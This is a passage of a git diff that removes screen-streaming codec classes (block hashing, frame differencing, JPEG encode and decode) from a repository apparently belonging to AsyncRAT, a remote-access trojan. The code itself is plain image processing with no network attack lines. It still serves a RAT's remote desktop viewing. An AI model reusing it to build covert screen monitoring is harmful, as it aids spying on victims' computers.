CacheInfo(Hash, true, new byte[0], rect)); - } - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - if (buffer.Length > 0) - { - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - - tmp.Dispose(); - m.Close(); - m.Dispose(); - } - - if (decodeCached.Count >= MaxBuffers) - decodeCached.RemoveAt(0); - - if(!decodeCached.ContainsKey(Hash)) - this.decodeCached.Add(Hash, buffer); - DataSize -= UpdateLen + HeaderData.Length; - } - - int CachedSize = 0; - foreach(CacheInfo inf in cacheInfo) - { - CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height; - - - } - Console.WriteLine(cacheInfo.Count + ", " + CachedSize); - g.Dispose(); - return decodedBitmap; - } - - private class CacheInfo - { - public bool isCached = false; - public byte[] Data; - public int Hash; - public Rectangle Rect; - - public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect) - { - this.Hash = Hash; - this.isCached = isCached; - this.Data = Data; - this.Rect = Rect; - } - - /*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec) - { - if (ScanRects.Count > 0) - { - int scanX = ScanRects[0].X; - for (int i = 0; i < ScanRects.Count; i++) - { - int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width; - Rectangle rect = ScanRects[i]; - rect.Width = scanWidth; - rect.X = scanX; - byte[] buffer = new byte[0]; - sBmp.CopyBlock(rect, ref buffer); - - int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0); - - if (!HashList.ContainsKey(hash)) - HashList.Add(hash, rect); - - //fixed (byte* ptr = buffer) - //{ - // using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr))) - // { - // buffer = codec.lzwCompression.Compress(TmpBmp); - // - // } - //} - - scanX += scanWidth; - } - } - }*/ - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs deleted file mode 100644 index 0dea684..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs +++ /dev/null @@ -1,266 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class SmallStreamCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - public override ulong CachedSize - { - get; - internal set; - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; set; } - public SimpleBitmap LastFrame { get; set; } - private object ImageProcessLock = new object(); - private Bitmap decodedBitmap; - - /// - /// Initialize a new object of SmallStreamCodec - /// - /// The image quality 0-100% - public SmallStreamCodec(int ImageQuality = 100) - : base(ImageQuality) - { - CheckBlock = new Size(20, 1); - } - - private void SetLastFrame(ref Bitmap bmp) - { - SetLastFrame(new SimpleBitmap(bmp)); - } - private void SetLastFrame(SimpleBitmap bmp) - { - lock (ImageProcessLock) - { - if (LastFrame != null && LastFrame.Locked) - LastFrame.Dispose(true); - LastFrame = bmp; - } - } - - /// - /// Encode the image - /// - /// The image you want to encode. - /// The output stream - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (ImageProcessLock) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (LastFrame == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - SetLastFrame(ref bitmap); - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - SimpleBitmap sbBmp = new SimpleBitmap(bitmap); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (!LastFrame.Locked) - LastFrame.Lock(); - - sbBmp.Lock(); - - if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) - { - sbBmp.Unlock(); - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - List Blocks = new List(); - int index = 0; - - int y = 0; - int x = 0; - - Size s = new Size(bitmap.Width, CheckBlock.Height); - Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); - - int lasty = bitmap.Height - lastSize.Height; - int lastx = bitmap.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - - s = new Size(bitmap.Width, s.Height); - while (y != bitmap.Height) - { - if (y == lasty) - s = new Size(bitmap.Width, lastSize.Height); - - cBlock = new Rectangle(0, y, bitmap.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - List finalUpdates = new List(); - for (int i = 0; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = 0; - while (x != bitmap.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - sbBmp.CopyBlock(rect, ref buffer); - - fixed (byte* ptr = buffer) - { - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - } - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - Blocks.Clear(); - SetLastFrame(sbBmp); - ms.Close(); - ms.Dispose(); - } - } - - /// - /// Decode the video stream - /// - /// The input stream - /// The image that has been decoded - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= buffer.Length + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs deleted file mode 100644 index ddbd18b..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Text; - -namespace StreamLibrary.Encoders.GridCoder -{ - internal class GridBlock - { - public Rectangle Rect { get; private set; } - public ulong Hash { get; private set; } - private GridEncoder encoder; - - public GridBlock(Rectangle Rect, GridEncoder encoder) - { - this.encoder = encoder; - this.Rect = Rect; - CalculateHash(); - } - - public void CalculateHash() - { - - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs deleted file mode 100644 index 6cfcdfa..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.Encoders.GridCoder -{ - public class GridEncoder : IEncoder - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - - - public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream) - { - - - - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - return null; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs deleted file mode 100644 index 06331f9..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs +++ /dev/null @@ -1,46 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary -{ - public abstract class IEncoder - { - protected LzwCompression lzwCompression; - public abstract ulong CachedSize { get; internal set; } - protected object ImageProcessLock { get; private set; } - - private int _imageQuality; - public int ImageQuality - { - get { return _imageQuality; } - set - { - _imageQuality = value; - lzwCompression = new LzwCompression(value); - } - } - - - public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public IEncoder(int ImageQuality = 100) - { - this.ImageQuality = ImageQuality; - this.ImageProcessLock = new object(); - } - - public abstract int BufferCount { get; } - public abstract CodecOption CodecOptions { get; } - public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); - public abstract unsafe Bitmap DecodeData(Stream inStream); - public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); - - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs deleted file mode 100644 index d48beca..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs +++ /dev/null @@ -1,324 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeCacheCodec : IUnsafeCodec - { - private const int BlockCount = 5; - private const int HashBlockCount = 8192; - - public override ulong CachedSize - { - get { return 0; } - internal set { } - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; } - } - - private Bitmap decodedBitmap; - private int EncodedWidth; - private int EncodedHeight; - private PixelFormat EncodedFormat; - private MurmurHash2Unsafe hasher; - private SortedList> EncodeBuffer; - private Rectangle[] Offsets; - private BlockInfo[] EncodeHashBlocks; - private BlockInfo[] DecodeHashBlocks; - - public ulong EncodedFrames { get; private set; } - public ulong DecodedFrames { get; private set; } - - public UnsafeCacheCodec(int ImageQuality = 80) - : base(ImageQuality) - { - this.hasher = new MurmurHash2Unsafe(); - this.Offsets = new Rectangle[BlockCount]; - this.EncodeHashBlocks = new BlockInfo[HashBlockCount]; - this.DecodeHashBlocks = new BlockInfo[HashBlockCount]; - for (int i = 0; i < HashBlockCount; i++) - { - EncodeHashBlocks[i] = new BlockInfo(); - DecodeHashBlocks[i] = new BlockInfo(); - } - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - if (ImageSize.Width == 0 || ImageSize.Height == 0) - throw new ArgumentException("The width and height must be 1 or higher"); - if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount) - throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount); - - int PixelSize = 0; - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - int Stride = ImageSize.Width * PixelSize; - int RawLength = Stride * ImageSize.Height; - - if (EncodedFrames == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - - double size = (double)ImageSize.Width / (double)BlockCount; - - //fix floating point here - for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size) - { - Offsets[i] = new Rectangle(j, 0, (int)size, 1); - } - - EncodeBuffer = new SortedList>(); - for (int y = 0; y < ImageSize.Height; y++) - { - for(int i = 0; i < Offsets.Length; i++) - { - if (!EncodeBuffer.ContainsKey(y)) - EncodeBuffer.Add(y, new SortedList()); - if (!EncodeBuffer[y].ContainsKey(Offsets[i].X)) - EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash - } - } - EncodedFrames++; - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List ImageOffsets = new List(); - List ImageHashes = new List(); - - byte* pScan0 = (byte*)Scan0.ToInt32(); - for (int i = 0; i < Offsets.Length; i++) - { - for (int y = 0; y < ImageSize.Height; y++) - { - Rectangle ScanRect = Offsets[i]; - ScanRect.Y = y; - - int offset = (y * Stride) + (ScanRect.X * PixelSize); - - if (offset+Stride > Stride * ImageSize.Height) - break; - - uint Hash = hasher.Hash(pScan0 + offset, (int)Stride); - uint BlockOffset = Hash % HashBlockCount; - - BlockInfo blockInfo = EncodeHashBlocks[BlockOffset]; - - if (EncodeBuffer[y][ScanRect.X] != Hash) - { - if (!blockInfo.Hashes.ContainsKey(Hash)) - { - int index = ImageOffsets.Count - 1; - if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y) - { - Rectangle rect = ImageOffsets[index].Location; - ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1); - } - else - { - ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); - } - - blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); - ImageHashes.Add(Hash); - } - EncodeBuffer[y][ScanRect.X] = Hash; - } - } - } - - if (ImageOffsets.Count > 0) - { - for (int i = 0; i < Offsets.Length; i++) - { - Rectangle TargetOffset = Offsets[i]; - int Height = GetOffsetHeight(ImageOffsets, TargetOffset); - Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - int blockStride = PixelSize * TargetOffset.Width; - List UsedOffsets = new List(); - - for (int j = 0; j < ImageOffsets.Count; j++) - { - Rectangle rect = ImageOffsets[j].Location; - - if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X) - continue; //error in 1440p, did not tested futher - - for (int o = 0, offset = 0; o < rect.Height; o++) - { - int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - UsedOffsets.Add(ImageOffsets[j]); - } - } - TmpBmp.UnlockBits(TmpData); - TmpBmp.Dispose(); - - outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2); - if (UsedOffsets.Count > 0) - { - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2); - for (int j = 0; j < UsedOffsets.Count; j++) - { - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2); - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2); - outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4); - } - byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp); - outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4); - outStream.Write(CompressedImg, 0, CompressedImg.Length); - } - - - //TotalDataLength += (int)length + (4 * 5); - } - } - EncodedFrames++; - } - - private int GetOffsetHeight(List ImageOffsets, Rectangle rect) - { - int height = 0; - for (int i = 0; i < ImageOffsets.Count; i++) - { - if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X) - height += ImageOffsets[i].Location.Height; - } - return height; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - //return decodedBitmap; - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return null; - } - - private class BlockInfo - { - public SortedList Hashes { get; private set; } - public BlockInfo() - { - Hashes = new SortedList(); - } - } - private class HashBlock - { - public bool Cached { get; set; } - public uint Hash { get; set; } - public Rectangle Location { get; set; } - - public HashBlock(uint Hash, bool Cached, Rectangle Location) - { - this.Hash = Hash; - this.Cached = Cached; - this.Location = Location; - } - public HashBlock() - { - - } - } - private class ImageOffset - { - public Rectangle Location { get; set; } - public List Hashes { get; set; } - - public ImageOffset() - { - this.Hashes = new List(); - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs deleted file mode 100644 index 450d4fc..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs +++ /dev/null @@ -1,308 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeCachedStreamCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.HasBuffers; } - } - - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private static Size CheckBlock = new Size(50, 50); - private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe(); - private List Frames = new List(); - public const int MAX_FRAMES = 120; - - private ulong[] DecodeBuffer; - private Bitmap DecodedBitmap; - private List DecodedFrames = new List(); - - public UnsafeCachedStreamCodec(int ImageQuality) - : base(ImageQuality) - { - - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodedWidth == 0 && EncodedHeight == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - return; - } - - Frame frame = new Frame(ImageSize.Width, ImageSize.Height); - - int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height); - int RawSizeUsed = 0; - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - List ChangedBlocks = new List(); - - for(int y = ScanArea.Y; y < ScanArea.Height; ) - { - int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y; - for (int x = ScanArea.X; x < ScanArea.Width; ) - { - int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x; - int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4; - decimal FinalHash = 0; - - for (int h = 0; h < height; h++) - { - int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width); - FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride); - } - - if(onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(x, y, width, height)); - - bool FoundBlock = false; - decimal FoundHash = 0; - int FrameIndex = 0; - for (int i = 0; i < Frames.Count; i++) - { - decimal hash = Frames[i].GetHashBlock(x, y); - if (hash == FinalHash) - { - FrameIndex = i; - FoundBlock = true; - FoundHash = hash; - break; - } - } - - frame.AddHashBlock(x, y, FinalHash); - - if (!FoundBlock) - { - int index = ChangedBlocks.Count - 1; - Rectangle cBlock = new Rectangle(x, y, width, height); - - if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X) - { - Rectangle rect = ChangedBlocks[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - ChangedBlocks[index] = cBlock; - } - /*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y) - { - Rectangle rect = ChangedBlocks[index]; - int newHeight = cBlock.Height + rect.Height; - cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight); - ChangedBlocks[index] = cBlock; - }*/ - else - { - ChangedBlocks.Add(cBlock); - } - RawSizeUsed += BlockStride * height; - } - x += width; - } - y += height; - } - - //write all the blocks - for (int i = 0; i < ChangedBlocks.Count; i++) - { - Rectangle rect = ChangedBlocks[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - ChangedBlocks.Clear(); - - Frames.Add(frame); - if (Frames.Count > MAX_FRAMES) - Frames.RemoveAt(0); - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (DecodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - DecodedFrames.Add(DecodedBitmap); - return DecodedBitmap; - } - - Rectangle rect; - Graphics g = Graphics.FromImage(DecodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return DecodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return new Bitmap(10, 10); - } - - private class HashedBlock - { - public int X { get; private set; } - public int Y { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - public int FrameIndex { get; private set; } - public HashedBlock(int x, int y, int width, int height, int FrameIndex) - { - this.X = x; - this.Y = y; - this.Width = width; - this.Height = height; - 